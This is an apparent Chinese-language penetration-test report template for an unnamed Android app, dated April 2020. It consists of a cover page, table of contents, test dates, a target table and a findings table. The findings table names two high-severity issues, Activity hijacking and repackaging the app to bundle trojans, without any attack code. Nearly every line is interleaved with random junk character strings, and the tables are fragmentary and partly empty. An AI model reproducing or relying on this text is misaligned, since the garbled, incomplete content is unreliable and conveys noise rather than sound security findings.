: A/ l* h- \6 k& _- H# r3 X
7 N9 B3 M( [! T3 b , W# d! W3 S; t
3 H' R; K2 G: l& N& \; D* A8 k- q. _
2 x* ^$ X; N* O6 |" G3 u# | y9 r% ?# |& Q6 k5 L( V
! h$ u/ m. K6 t5 Q
+ [) {3 e4 H+ M+ Z/ M
: _, ]# y# h' f4 c0 p' h5 E
* N& O% Y# R1 |; `9 |. i
- x8 H( q. _3 T8 z Q9 b/ k ^6 ~) [: I) o( I$ ^- Y3 F8 Z+ N
文档编号:
4 o8 y# w. q( Y) n' Z, L r# ^1 |$ K* l' L* F0 H3 e' x
! @; Q& }; f2 v. }) ]. a, x3 A) Y+ v6 ]9 J2 M, S2 V
9 s! I9 |8 \0 g7 g- J0 y9 N% @8 J! L6 K/ M. `& {6 G3 i' {: `
* H. |4 ]. x6 V% y, `. D' ^+ b6 h4 ?
# V4 }& s* m+ q! b, y( T
, I8 p9 n) ?( P8 T/ c8 o! u
% l# n3 N9 x" f G: O# Z
5 `# z* O6 I% U
% D, m: n/ }" r$ M5 o0 E" @$ m
2 \: r5 m: ~: i& f5 k8 G5 a
+ K. {' _; ]% t# G1 Z6 j8 v. [ # \6 w- T8 K2 n2 f* s- O/ \8 ^
$ w7 i4 _8 ]6 h4 o+ F) o; z* Q 3 u( m% {$ U* M9 g
" @$ S, f. M: |9 n& k
# F0 `$ V: y) U: l
: e9 {/ \9 C1 ]( c, I
% o, D7 p8 h4 b
+ Q% m2 S+ V# s e; D4 U 6 V2 v" @& d( n+ p6 t1 U
7 m8 D5 `! P" U
( H7 ]# v5 N. _
1 ?. n# r$ }: q1 y3 d
" g1 t s. R& w3 l$ k h( q; Q b$ Q# A& o: N' c
4 x6 ]7 u& y/ T# A" j+ e; h+ m6 C: s0 H
9 @# `; _- G. k/ c
1 E7 Z' C# y6 L$ D2 T 1 P6 Y) r& U. x$ ? n1 ]6 D
6 S$ Y) A% [% v. Q
某某某APP渗透测试
7 H& R: e/ W8 `& l$ d+ u; C: |( u" f+ [- v5 e1 W% s. D [
3 H) n+ Y I7 S, S8 ?6 e2 `
! Z; {; k% A$ v( P$ L
3 \' }( T8 l: q
+ Q$ J& `3 C5 B' D, l ; B/ M5 W' ~0 G
2 O5 R9 i; I1 |3 e- r$ @. Y
# |1 A% Z$ A$ P! Q I. [6 _+ f5 O- n
, W: g% k/ `* ]- q/ s. h$ c. G
. a- e0 o7 ?/ n5 f0 E
$ v( Q) G& ]9 S) K- r7 P# m' A0 @: [7 v
; l6 C! I$ @6 |
" U# K! T# {" s7 V1 b2 x
# Y% f6 Y$ ]6 \ Q2 C% Q0 I) j; `
6 ^* o8 t& ?6 ~ U8 U! ~ $ a/ V$ T% M% |& _8 t$ P a$ k
: D1 N' R4 P1 C. @! r: n
+ @$ E: u2 m5 k$ L" P' c! N8 f
: z/ h1 h% Y( ^8 b
! C9 J8 H! H/ K* L6 z% y2 a
3 w! o/ b$ J) A2 Z
1 ^ Z \; h3 w8 g- b
2 N4 X' C0 T( }
" K- K) l. @. N/ T+ q3 C
: b4 A) B# Z+ @2 Z . c3 T" `' k$ F- X! l- B; ~
7 O/ i' M) |3 u6 ]" U5 T* N1 W5 B
技 术 报 告 + i- y G) z, x! P
+ W w: @; W0 Q
Y C$ {7 @3 I" r% |* |
5 P' ?- H( r+ a8 \5 E, D9 E
5 g, [/ q6 o- ]" `1 [. u2 t
5 |3 e7 X9 `# K* r M; A7 e
. z }' |5 Y$ K4 x4 P9 }" }; ~- E
# n; H" M @6 ]
/ _$ v' ^- w, e Q8 F2 \
# Y/ e' I9 h8 A" F) @' i ; H8 l( g) `3 i; x0 Y1 `
7 u: \% D, V* ^6 ?
7 C7 C, z3 k4 Z( a. V
: D0 v( x6 B/ y" m( w4 U
, x2 r& a5 o- i+ J @" b* J# E
8 y4 I3 D! I! H( |1 Z( l
! V! A: _7 g! ~$ e4 F2 P% R/ `
& E1 w5 r. v( N1 G3 ~% h. x' k4 j6 O: Q
+ ~$ l ^" ?+ d/ L5 O* {& E& p' Z* [) D- J5 X! a4 }8 w8 @
0 }8 o. @( U3 Z, C
; r9 E6 y0 ?* x; Q( A7 Q
0 T. h$ ]4 \4 x# h: a
+ f' k$ z7 _. \2 p! }" ^# Z 5 `, ^" Z6 V" v- _3 P$ }2 i
* K2 i) W5 }2 Y0 @- `/ J; ~2 I
- i+ d! u! l6 R, ~2 I
. p. _) v7 A1 Z, M/ l) M - l3 O [( y" {7 Y, z, [+ S
7 q! q5 y6 g$ y/ }7 V0 g R
( F6 j7 r% T0 l6 Y
; J* f/ w% Q S: O9 W9 R9 x; c
3 ^4 D/ H( e+ M- j
3 U$ d; E4 |' |- V
8 [# \1 S' T( L5 f, d- M! h, y
( R3 K; c. {2 }2 Z/ g8 q5 s
5 X q* u; r! K: K" d+ r. l( F1 g6 a. [8 m5 u7 U
, i# D( `6 q9 r& O p. n: N6 c1 I. y- i
. C6 j3 f) S$ J
8 ^8 a0 Q3 o o, W
& m$ D# @" Z9 V: ~0 a+ w6 I
' u4 N$ T# c4 ?) R
6 N2 C3 n# ^6 I* q, X
4 w+ F+ `& b/ }* \# Q
$ Z& }! u& b' Z q
/ {& h% U$ p* i8 J% Z
# O8 E% K' l9 g3 E! T # l1 I4 c6 @! B3 b* F _6 }- T
- D% e! s: ]4 `
9 O7 L+ V3 P- P, o; h8 x$ a% r5 Y- Z" U# R' ]
) a- R- e+ d, Z; `% L Z" U; Y% s4 j4 D7 K% I8 g6 p
: h5 X, g4 X; Y8 B
& C8 b. M+ m% U( m! }
; i% k; `* B& N
, A, Z/ i5 K% ~
6 j# e4 ?0 p7 n2 } u( c0 M
& Q/ E5 [& T- f3 L
- r. T3 y4 b0 r. w [4 a
4 e/ j* ~/ t3 G1 q; q; x- }7 |$ S
- s! R, O; r( a& r# r1 J n
6 {. @7 a8 m* @( S/ H9 l) i1 s! C4 C 0 o1 R/ p1 v c8 O& f
0 `7 u, t. S8 ^+ g5 ~ / t8 ^" M% c+ Q
9 _& a( F" S, i, H# A5 D) M
+ u" a9 B6 C4 ?5 Z, d& s+ T0 d; V3 s$ ^
3 E$ X/ w7 {: ~, O5 N) k" L9 B- L/ j7 P
% P' Q3 h1 R! o5 l6 Q
5 h0 p, q0 |* t! C6 Q
, D+ K& [6 x) E8 Q+ W7 I' p) C' ]" T
- V3 S" y1 [0 S- |% ] : e7 L v! F% P- B- O1 u, E
' X6 U" T# {7 \0 F. d
9 y, I. n4 B7 i$ \2 |' q) F* m' b4 V: Z
5 h8 @$ S& k5 U+ ?, [0 C8 m. [& Y( A9 W
9 Z& o5 U( g1 \2 X% l2 a; v- x% W2 N( c( U# M
% r6 u) d2 n0 ^' q! s
( c6 K. \% t2 X- R3 P: |$ o8 w
' g. x' F3 D# z& ^" f
4 X1 L! p; m" f0 w A( j6 F
* m+ }2 c$ O/ y+ E/ _& P; K$ F: r
" ]* R' m" p1 W& ` * W$ v1 [' j z# {( C
) I" k4 j& n6 n
" X& v' e; Y) d& m7 F6 Y7 Y) m
! X5 U3 Y6 T- ~$ X! |: @ 3 m, [. B5 b. F' y
+ U9 T2 I1 ?. J- _6 D) P
8 }% l( o% [8 L
3 f. P3 C0 i5 {2 |& l% k
# U$ s% g7 e. x2 o/ D: }8 p5 }
6 {9 G- H. J( o' ]( X! { ( |8 B G2 V2 R# ~9 k
# {4 y3 m. i! l* j+ j+ U4 @
" F* O; B; B5 ]
: j2 n* D W, v. }
- z- Q. {; J; c& ^- W8 E. X: a) H3 W% ^5 u; _/ w
1 T. p% [9 l6 @1 j& P4 g1 s$ u' H4 P( S5 Q
) U7 ?7 q& ~3 s7 x% h2 i7 i3 ~: e2 D6 ]$ m
* }" L8 D( G4 i' y" Y8 G/ n
" f8 t" U3 H3 O
, v$ b2 g! c5 K4 j% n% K, j# _ A" Y A' B
二〇二〇年 ( D: z+ y! H3 [* p/ c5 [: [, J; O
3 ?8 g$ y# |; [1 E
% N: s: T l/ E- _2 y' S, @ c
5 Z2 r$ R* h* g& l- {% Q" c
T4 M7 u+ Q0 x0 h* N' t
9 a9 X Z/ L0 d
" Y: B/ _5 D- j7 e, X% [
' c; }, X" L5 j# M+ D, B- N, C
7 i+ _' b& R' b" F% H, V! W+ h( e2 b! `: E
* U+ K6 N, M2 W( U, k# {8 i7 K( S( \' \
! S e/ H4 S+ e6 [
: e' I' j9 R+ v% z" d
7 h* C0 o+ q8 f& u3 k
! g; n5 v2 Y8 k; P% c1 N; M0 M& J
8 v/ E8 Y0 \) z5 Z/ h $ P8 [# g5 l |! b* ?
& m4 m; U ^1 S. |8 o
' t- h- b( t3 v, k2 W+ k9 }- g3 k) q$ K' V( R2 U
- Z; _- K: |3 }2 w3 T
& e0 o/ z' M$ }* d, ]! H) \& M, T
目 录
" J: L H0 Z& i: _* H7 s1 c, w& Q- i
4 U4 ~. p$ n" V+ P/ @8 t4 `
6 h9 ~2 d U# r, H! B' d/ E
8 @- r t8 v5 B4 G4 p @
x# m4 n! ~/ R$ E3 Y. g- A
. N+ n" a8 \. _
+ F- q8 k& `5 ?% p9 ?5 c1 D2 X4 N2 b+ |& Z8 i, D2 V* C
! H6 j( ?9 i+ u; J
+ c$ s1 r6 c. R
2 w+ H6 i" v- b( R; J- V+ ~2 e. o
, @: `. o' w5 \, J1 K# G' P; |
( X5 o1 |5 G: F7 e0 I6 M
3 \( b, e. G/ {, s, [8 R 1 概述... 3
/ P' ~6 ~+ [- d" E1 V2 }# x/ ^5 X# Q) }5 @3 ?7 K! ?
+ v2 K D6 Z" i4 X/ `% a
* ]- C1 R( h) h3 N, g
+ B" ?# |' f2 \
; r" y( R+ d/ T9 u2 _ 1.2测试时间... 3
- a% c* ]' s$ E8 h2 ?* }4 \* `
1 Y' n3 l. Y+ S% u' j
/ r4 ~ d: ?2 i5 o2 O) y# L) O, d9 u5 v, H7 d* } b
* U0 P p3 z4 a0 ? U
5 k ], g- n# z+ V 1.3测试对象... 3 & C; U7 m: l. Q8 L+ S" i
# G! w- y& t8 v; ?
- a3 s, L0 r8 M/ P2 c- \; s
- O: W) S5 X6 }2 F
" |/ ]8 [4 B# z) a6 X' H: ~. j6 r
1.4测试结果... 3
( ` Y. `' Y9 ^9 o) i9 H$ w G* c0 V3 Z- G9 K6 E
( _0 Q; L; e( M! ~/ x/ @, v
/ t; B- }* x* C9 _
# `7 n; T' x6 _# b$ `% N. T6 F- }: t2 Y% ]* X
2 检测结果... 4 ' u" O0 N6 u+ J
! k2 B. r* Q3 c C$ r. h/ r
2 `9 a7 G% w1 M8 Z8 f0 T- h0 W
+ R1 z) L8 h7 [1 g- }6 Q
, j. e: P8 ~) K
4 L% H$ g7 ?! L' p& E 2.1 某某某... 4
! M2 L: h! S- O' K) l$ o6 o" ^) N7 _7 m! z8 @
0 [9 @: Y* m4 k
8 p. B6 e0 O! ~/ g! t 5 G1 n% q* z( O- ~4 H, Y9 i% f0 A, R
: t* ~" m) g2 p" W v; p! h, e
2.1.1检测目标... 4
" n3 r3 _) k a. p9 Z, o, C O. S! k2 Q1 f& Y- x7 j4 ]
$ i2 s# H% n# j& }( t7 n, Y; w! ?/ _
( X# L; f8 ?; B( [; f . O! R `7 L2 S0 f' p4 W" G
/ B! u6 a$ P5 ?
2.1.2检测结果... 4 & O, N' `: @% x$ I
. ?! A9 B& f8 s x
" v: ~' v7 }& M+ [1 Q. A4 s. s4 p( @3 F
" F3 P: h; R( G4 D, c4 g( O
' E: K2 x) Q+ _. p) y/ s$ H$ F$ b3 S 2.1.2.1. 4
4 f3 F8 N% _* {/ B9 P t. K8 ^! H( D* z8 n
, Q9 m& N! K4 B
1 N3 L) B) |4 A( c3 k' p
% D0 k, w- P- w$ z) T" M9 c1 ?! K1 r0 n' Z- M7 m) L5 m
2.1.2.2. 6 8 g- _! z# O$ \
7 _) p& O5 Y+ _; u: i; o& S
. I" j- D( S' D4 I
6 B9 ~7 ], t. N/ O! z0 ?: c 7 E+ z9 ^, f4 F0 X$ V
4 O* t2 w6 o3 K. c9 A
) h+ M: O5 h5 `9 l2 X
& G1 t8 W% P2 k- K. t
t' ?; _0 G" S: k: i1 W7 x5 f
% s+ K, K) [( {% W$ Q
+ X# D% P w% w1 J
3 [% c& N# `% T/ \. [, c" C / l. r" x- D. K& ?7 G
" M5 z! K" \( d6 [: g# k7 o
* t. }6 Y) j$ J
" f6 a( p* ]! ]) `( T- ^
* s; R+ v4 m8 S/ p! p8 R+ @* q; N7 T0 R- { [& X+ @3 Z
- H0 n1 D) K' q/ G1 W6 F# o/ n2 H b Q; e Z6 ]$ H* s
1 概述 " L2 I% X' ?( s
: r6 ^) ]: N4 ^; r! U4 f0 q
: D# u) r9 ~$ p3 O! o( X
9 v% v6 p0 x8 e8 [ + Q" u) P8 H& h5 n, i) [3 |& H
1 P, A7 j( m2 J# k
1.2测试时间 0 J) X! g5 Z, D# x, E- l# C
8 d3 G: v8 V, G$ K' S% ]
3 ^8 f5 _7 |1 y; c& ]8 |2 y! v+ ^, W2 C4 B
* v9 x' H+ t! `# n9 n2 S5 u
& H+ o E7 E4 V
* I6 i, |' ^5 A. A' g) j, b
) j9 E. R4 r7 A2 p) Z! [ % Y, N! p7 R# T9 G+ t- _5 z
) d, U( m6 u) z8 P7 w# w) I |
3 h; Y& \: O; S3 p2 {6 d5 I. z9 [2 C2 y0 l9 |. Z$ B
, C! \6 p8 f7 }2 e" m U& p8 [8 ?9 o
/ l9 ^" I6 S( t2 A; Y( O$ f 渗透测试时间 " n7 X) L( @. a$ O% E5 W9 \/ G, E
' j) ^' Y9 N" j# b; M! l
- m! p% |0 A% w7 j7 m
6 }4 P# r! |4 L; h: n8 z
| , U! J$ k7 e* E$ |7 K" A
% x8 g- |( A/ D; g2 v8 U1 W
8 L- p# A* ?# I m( t
% E6 ?0 X5 X* w
1 `* l/ `6 P# D% ]6 B" P% M D& I5 j$ a
|
2 N: n( g4 b! ]' {" r# S' e
/ J" |! e* I0 Q j1 t- ~! @) a
( m' b: g8 E7 B5 i" O2 g4 n; n* d) h! j: C# }( ~: E
起始时间
u% m4 n2 h1 M: P* r" y9 s/ \: I- h$ e' ^$ j
: J% z! @2 l2 c1 v0 Q# i
1 |( E/ W x6 q+ Q! J: x |
' j/ l2 `* |( X+ ^
& C5 p: o1 j1 r# k2 K/ B
) w. G" r0 @$ g0 c5 {: b0 c. j8 P1 H; h/ r' L
( X* e1 T. K* g( n& I! c0 C2 ~$ T6 Z6 W4 @: ?
2020年4月6日
) h: U) ^ _8 Q/ h u+ s" o1 Y$ l$ k$ R1 u8 f
$ I, F: F8 Q# b3 ^
! d, p- x5 E0 V+ U9 j8 ] |
( P! P9 H5 B; L) W, p# n+ d9 y1 q4 R* X
3 t# h, _. b, N4 v1 i" x1 s" t- d% v \9 n! y( q
0 u, E: V' a' p- N( |5 a
( b, n% b# \* S
| 3 l+ K* e% p$ Y/ w) U
. p5 m7 V/ W! w' T8 A / C" i7 }$ n& c: z( N$ e) ~$ p H! l# ~
* {5 A5 j+ X* F+ N2 H 结束时间 ! y c2 k; V/ Y' |- k
/ n0 w" w' @; D# ^ H, ? % U/ n( s% }. E
2 f, J% A! P* q1 t; a6 x
| # l0 `) e6 W. ?) t6 K$ \4 h
) T9 F! f; [4 ~ ( f% g" i% j& x
- H! p8 F5 T5 Z, T$ m
, {) B1 |5 D+ A8 ?8 b- h2 y" }
' a2 w; o; _, z( c9 _' g( c( P$ } 2020年4月9日 ! W& d: B. f0 @7 @3 t$ E
! [. S; R$ S6 ?3 p O! H
5 _5 N9 [1 g: R) }( \0 Z4 ?. U# f+ z1 J" v, p" F! c' i4 U2 ?
| / r% ~/ M0 N% p- ?1 x1 \
2 @9 m/ S' v: [2 p" U5 }
9 K' p" ~1 G' m" X. u3 ?
% }6 A9 F- h8 t3 T3 A d q% Y" i; d7 V1 @
% L& Q5 R1 u9 T g
! @ g, a3 x. Q# @6 A# b$ |' \
/ F' z; X9 ~9 O! G 5 l1 i/ w) l1 y) }2 G) E$ m2 J
5 a }# }/ @- S4 n4 p- I, C 1.3测试对象 5 n; V% A( `( R9 M3 p7 `" A
6 p+ Q& V& w I& P3 V4 t5 R3 U" X
% ? ~7 M. I, o) T! g v- p! _3 H/ O) d5 _' M# b
+ K$ y/ `- m* ~- R
8 @$ s9 x* _- `* Q
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
1 @ ~. T# O$ t2 \& [" J5 ^* n% P" \; W9 f
; e) U h! `) [3 S9 z9 _5 }; [: Q7 m8 s% I& ]; h' K
% L5 b/ l+ L# s% I! T
+ y# B/ ?2 N6 G d8 M0 h- \3 u$ h 表1-1 检测对象
/ Z* S$ U2 H1 ]5 r, r: w' d7 r% Y$ v. s% r! Z# I& y
9 x% x; [* }9 A8 [/ \# |
+ ~7 } }0 x' _, Y/ P" N
& F# c/ P7 S' r5 [/ T( U% K' w8 d( X
0 @5 V$ S5 P6 P { * O2 K5 \( z* L, ~% y
+ S: v, I" K q) U p$ D! W c: C. Z+ U: O1 T
- z- y- ?6 u7 i- E9 C | 6 U; S# }% s& N# e0 i' m. d5 S
. h& H5 f( r9 x( v2 n& ?! I3 U 4 w2 m' B4 N( s( {) ?8 @
% K/ B L; `* O9 d 序号 O1 C# |% x( ~3 f* i" B( T
* {4 ~) l- Q3 q. O, O1 N
+ k9 T* c# F. D0 B
2 m3 C; }5 F, q0 J6 i | , d, \ t, M& w. P
# k8 W6 I& H( V. `% t
& e. g" ^3 E: S1 C" z4 i O
" p' o; l' ~& n- t! D. y & h& ^8 G& a+ D% P, v
2 B! h; U( M& l. @* `" n% ]
测试对象
/ k5 ~5 {+ n" b
6 n# E8 \6 r8 x & A& o) ^$ i, n7 D0 t
1 y5 e4 A$ N H% @$ D" f" l4 u | " s8 n+ c- b2 }) x
/ o; O6 J% D: P- g2 ^
. g7 O& o+ @) Z: c# N+ q- U3 O
' j" D# ^. @5 u/ Y. j( p+ P
% K" ]1 o z A) g# u' q" o: {
, F; h: E* }# P* T. r 测试地址 8 E' m+ v4 j1 g! n. Y
6 b+ C b2 Q! h2 d1 C2 M) r
2 X& P7 J) O; s, _, D
6 y4 e% k& Q1 ]+ e! c |
! l3 J& r' D- Q- d7 k$ ?7 u
8 m3 ]4 ]% F# M) {2 ` 0 y1 Z7 Z3 |# p; q! {
5 A& o( d- m' Q4 _/ a1 [* H( P ' c% ~$ R. b6 x# E( a' O4 Q
7 D: n$ J6 u! C0 i 安全漏洞 , q8 u% T0 k" T: w
$ i( L" N0 M$ \
5 O$ m# G9 x4 W- w
" z/ V7 g" W h4 ]/ p% r0 I |
$ ]' r b- Q; Q; E. L
& @( i3 t0 M+ h: p( k
) M$ h5 \( Z/ A! X7 g9 X
" {4 E8 a: d6 ]2 H8 b1 O! H: w. |
7 p0 J7 r+ V; j! m, e$ x
; O1 B1 [! @" [6 B7 i) D0 z | + F4 a# C: O8 b1 X3 T7 X3 `
- j( Q" |0 z5 R) Z% j1 n0 d
* p1 p2 r# R3 Z1 ?# m. Q
( ]3 F9 f8 c0 v: P! w
1 6 Y: r! ?2 D5 ^9 z( w# D
& k& M2 ^' }. [8 q+ k( V 5 O8 O, U: W/ u9 j* ~; u
7 ^( ?4 V b, y% [/ S
|
% W& C1 b& ]/ z! s
! B N8 B* v5 W0 W7 \3 A: ~ # A- Z+ d" h: }5 A
# x) R( O4 U" y0 \( V" U! k ) z( o2 F) D3 E( B" b
9 i$ w5 F5 F' ?5 a. I
某某某安卓APP . `. p, I) R$ Y* C1 C
. ^+ b* C7 g* @ F
: @' f3 X O* T
: H* D- z4 B, p | , H% l; n! A# k9 u% X
' Z5 N) ~/ Z, N1 f) Y" ]! s
) h3 p; Y9 J+ E, n! ~' g3 a% M# u6 x
8 m/ D$ a& O4 `. }! M, a& [
, d% b M+ S9 x# ]4 b; b3 E. W& V2 [$ |( t+ Q
& ]# h/ |! ]) }, t; ]. k3 `' [ V1 A
- o& C0 i! \; n& b1 k$ Z/ o4 z
& m6 ^; h: H f# Q& I
| 5 l: s o2 W$ ]3 O' X' a
# [5 f9 e: J' k7 @4 h
( T( \; A9 O7 y: S6 L8 B8 f2 K$ V
4 T& D% o" N# ` ) t- e: W# w8 G& `
: S( i9 V/ q r+ K/ |* G- |3 w- u. d
2
* ?6 h8 p# w4 o! p5 n" j) e( }/ e; h( ~! u8 E7 p) c
+ H4 L1 O- ?2 W( K
/ O ?3 t/ E) q3 }; l |
+ x; \! [1 l" o) b* q% Z. Q: n [" U+ D1 Y2 ^
% i6 V* L6 p/ j e6 X6 a- `6 c) p
* A6 W, V# d( p |% z( t
7 R k# z% x+ q: `3 a( ^
! h: g5 o t/ u) }2 X
7 G* f$ H% h7 L H8 z4 p8 s
7 Q% }0 p9 d4 h2 ]
! x9 i; \' y) f" B; j, ~5 j; {3 f* H _
1.4测试结果
3 R9 c( `: s9 n( N6 X6 N8 a& D* P( _
3 y/ ^% L# X! h$ O9 P* }, w8 _3 t* t+ f. D
2 w; P( |7 j' _2 N' z0 Y
: [) e, M2 h6 I, J5 i 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
% w: Y! b6 m6 k- B7 G0 J+ S: K9 U( U* u# ]6 X% @
5 A8 _( j: R; N* i3 u. E4 f
) ~& s* c3 j; _* o , P; t' ?& \# z7 n6 O9 U, S7 p
& ]1 x, h9 ~, c$ q f* ~. u- ~% u3 `4 \
7 \% |& e& x9 n8 Q3 ]6 \
( {0 C `& @! Q1 O% N* r" w, o) {, L
/ }5 w: b7 O8 w4 `4 ^9 n% H* ]( k
" l7 B9 Q5 Z/ Z6 d9 C) Q% N
9 u2 L8 L3 Z* C: c8 l
. X M9 d4 M( I! H- y" H+ h4 K' T" Y K
6 b# m$ u3 Z) i* _1 P3 j! T, |* C
/ d7 S( _* `! j o
; V% L6 q) u9 k# G2 N | ) A8 I8 V4 M! e
& ^0 v3 T3 h& n / D7 ], R( s( p# y
/ p/ \) f+ e4 e4 o) v 序号 , J2 s4 H; J$ m3 n& j6 s
: T0 C, F2 L2 m; h* ]6 Z0 S
" A: b2 w& ?6 i3 ~# q+ A- P% ?
0 C9 }# j( t4 n6 q1 [ |
+ D% ^6 N' y% X) @( a4 {' z$ f/ U
- V J4 Q# h0 b6 S5 M 6 e9 l+ z# ~! o+ N6 \
% c- _+ L3 W2 J
5 [) T. I+ P/ X' ?0 z* C5 D; q
3 ~2 u( c- K1 F
系统名称 + i$ d V- \: J' d, i8 Z
9 `9 U) {; o; l/ O* C
( s& V8 |3 L) X; W4 x, y% s0 k$ K
4 ]2 `1 t+ ` S3 s- E5 O7 ~ | : {' c2 M* v/ p \
' O+ V. k% i4 y
8 |' v4 G; a/ G
* O1 I. R! u! \* t5 S
8 Z( y4 [/ I; B; `4 E
) N% G, o: f/ B. A2 |) ~; Y8 }( a7 s 漏洞名称
/ R. B2 P- u2 U
7 }' [) O d; N9 m
! F/ e+ a8 m, H% @/ {" {8 h
- d. E8 J4 W$ N, W- a | 5 k/ _- P, [& C1 c$ H
- b! p8 c, ]- H
1 k& ^: G" M; F# S7 {
5 x$ P6 n# T: ?+ k , w/ ]- s: m( E* f8 l+ J, N' e
3 K' a7 L# P+ e3 T( g
漏洞危害
! t* U$ W, }4 [# h0 h* I' _, n' D" z' @; ?' ~- ?" X
Y$ p+ a9 d1 t5 [# }2 t
6 |, F0 d8 X+ C; y+ X) l2 U | 3 h9 |7 r" z; Z
4 q6 ^2 Q* t g/ f
: E6 T" G9 q3 c' D+ D3 }
* P6 A; O0 T' T1 _4 r7 ]
2 U! Z& `! B. A1 v5 J l! M8 H
修复结果
4 V/ }+ t# [2 K. ^* M2 V/ O- l1 _7 Y( ?# L5 p% [1 e+ c
3 i) v1 g" ?* \2 t" f4 l; A. w1 W
1 A. r0 {2 R7 U' i | $ `; i2 J; y( d
' I6 a6 u8 D+ @4 x) ~( i; p
5 F' |5 g: \! k* f/ Q9 p6 F: [0 @6 x9 \
! x Y8 J' y* g$ P! C
$ |) V# D: i# r+ Q7 Q+ O |
4 o5 z' u! Y0 m% h8 @8 R( C+ V$ M( e; e* T( Q' ^: [0 P7 v+ Q
% z( [; y l. i9 n
7 C1 j+ @- @* d) L
1 1 K. O# ?; G6 ] b! ^, d9 v' Q8 u
+ ?+ p/ j) Q5 S% O / d* p* d" |- e2 ~% k
- A( w% F4 t) [3 g7 Q | % i z8 @# D$ x6 [8 d' y
' a: {8 Q' \' X) X
; K" d" ^$ w1 v, J7 r+ L$ k' T @; i5 a& H, w1 t
7 `2 Q' E, K. r; H
1 S# E2 U& @ b$ g$ x 某某某某某某APP
3 t) Z, }3 f+ J3 n6 ]% U' t" p" u
, i! `9 U( D5 t- n 8 l* T# o* Q# I5 s2 V
. [" Q4 ^9 q2 i5 Z | : Q5 t6 w4 o7 d) z: C1 r
U6 w, Y6 j! n
3 |2 K* d& U4 K( g4 X' b) S/ R5 o) W/ u: `) i0 d1 F Q6 Z
. B7 d( p. M+ F
/ y+ }- R' y Y- v: r
Activity 劫持 9 B- [5 [8 \8 A3 ~4 j
( q% n9 m7 y4 E% y! ~; ?3 J. I - C/ Z9 u- O l1 P& c3 k' U
) M5 \) e R, w& O
5 K& }. A, ^' h S( O L% @4 r9 T/ w
" L: K8 S' a( a1 ]/ F0 n) w9 |9 B+ j $ l$ A8 j: I' u E
" F2 r9 O8 z% e7 P) O 5 m+ P! ? N+ M
8 i$ s; G- ^+ R7 t
|
* I* K, R2 o& E: @ i7 j; r/ b, Q
0 _$ r6 k& U8 @( M0 ]
) B6 v' u0 N6 @4 G% g- j4 W+ {; e( o
0 n# Z2 S+ I% `% v# c' E- a, u+ i! f( W- r
高 ! Y' B2 K. u9 @- I" B. T
5 I! |: S6 @, z / B, B' k3 } C2 ^& j
. U) Z z: F' K+ s! S
| - B. y d, l7 J% B3 i
; g! F0 n, a4 u
, o: Q! H+ V8 d- v6 I9 o5 y
5 K* }, D/ n" | W1 c L! V. m8 B4 ]
: J& t3 D5 r9 g4 |) `7 C: O6 C' B% a7 N& N, P1 N3 [8 Q
# m5 U1 J g9 P$ `
' u, V4 y6 T) N+ G+ i
5 H4 D+ S1 Q! f ]4 ~
# p' c9 r" T2 w% a' y | ) @8 R% H( P* M% Y1 D, r
* X+ [& o7 d( `4 G0 Z7 g( T
. G: ?, i- V: {( I
# l5 T9 S, }9 ]( B
0 }& S: y0 j% S- t: d0 D% p9 i5 T, m8 |
| , I% z* W9 D, g' e7 P3 J7 I( b% O
- `. j/ V% D5 H. Q7 `# |
+ {% b# X% z2 E- t3 h
' _2 J- c- X( o z! n7 y$ z- T 2
3 z; {3 f- q2 v8 t4 D3 f# Y3 y* g$ _2 u6 n4 r: e
. ?) ]9 } { S# K- u
1 a( o( U( k9 s5 r |
& y, [, h" M; j6 R* j3 D$ g9 N* T' |1 c
9 \; F+ h7 p, V$ l- H3 L' ?3 w6 g+ L% U
1 z/ }; j0 P4 c
- J, U& w0 w2 r% Q- B- R J 某某某某某某APP : F/ s8 o& y! v- g
8 K& ]" n( B: c: {: Z* L% w
+ H5 Q: L& C. M' `4 \
, v# ^8 l& D, V | 3 r z( |# H* }6 u5 d3 @
" k$ o! ^5 U. \6 B" Y* w( S8 {, i/ C
1 r, @8 f( x( Y7 F* e
, e+ G' m3 U9 c/ ~- N4 g+ K, I9 {
) C5 z" G N) E& q* ?9 }
, y0 ?( S9 ?, N% ]1 m 反编译二次打包捆绑木马、篡改APP代码
) o0 F- T: c1 A8 q% }& b: F0 H7 T/ e3 m. H4 V/ s, K9 ~1 L2 _% k! `* @' _: w
3 G7 ]# {; _' z. x+ N! P: l5 `: D& h2 t% ?( r2 p' s; M( q
| C5 c' g) o, @4 W4 l* O1 P; @
0 z+ V# }) D5 {0 A d) B
1 c2 ]" Q. |4 s+ E# g/ v
& j# Q7 P& s' z' M! J
. o+ \1 P/ e- P5 [8 C
1 X% p4 L# p0 _7 M$ c 高
( V6 U* v9 q4 e/ ]4 ^; e8 a& i# {" S( h8 H: I4 o; ]- |, \
3 K5 k$ P' ]7 u0 o# s
- F" x) V/ e Y0 _1 } T | ( u5 D1 L5 m/ v$ I: n3 n# n" h
5 ^/ a% E$ M2 U" a6 U8 z0 m
! S' y1 l7 v, ?0 ]6 m' S5 o
! H6 Z* |3 X, ~/ x" V
# |. X* a0 Z9 ~8 O: v
1 a" ?* A1 V* ~, A; p1 h( D: _
1 u) P4 q3 a( f) b$ J
' i7 C2 X2 L7 [, U( n" X + w2 m* M0 v3 }! A) w7 E3 y" s
2 W+ e0 [+ y* x
| $ C5 x( _8 g+ N. D/ S* t. a
* Z) O7 d% ~8 {# ^
( b% _* S& g* f0 o- f
) g: @% d: v& I8 D6 i; c
2 y$ F. O0 [ ~- |* y. Z: D2 C+ G* d, R1 I
: e& j, ^& o. E
/ z% T6 _# \) W, O% b
$ ^& v/ i( r& c+ S, b( I3 S- K/ c: g" f( j5 y) x; x; {3 s
6 g( g1 f$ Z2 b5 u
0 E ^9 m4 e+ m6 [2 D3 `' ~
+ `3 ^7 A+ L! o6 ^1 F0 o4 e) i* ?) q% H
5 J. s3 C+ |% b5 b, C( r! t
( V$ p4 T* m+ ?9 z: ]
' J7 Y$ |7 q: L' i2 P9 M' A' ]
- \1 r. C# [: o# b% A3 S4 S2 R 表1-2 测试结果
2 W4 ?' A9 n) G' V$ q; j/ R" x6 A5 C: h' W
" Y6 ]0 F3 z+ {, h! t3 U
! v! J1 p& B: h$ Z' X! [) v; X& ]
2 w; P- ]9 u6 U( N: R2 {4 P9 [5 C" X! Z
% G% v7 J/ Z/ _8 Y% B2 D2 w
9 j+ V+ W4 c, _; b! z& q% P/ `
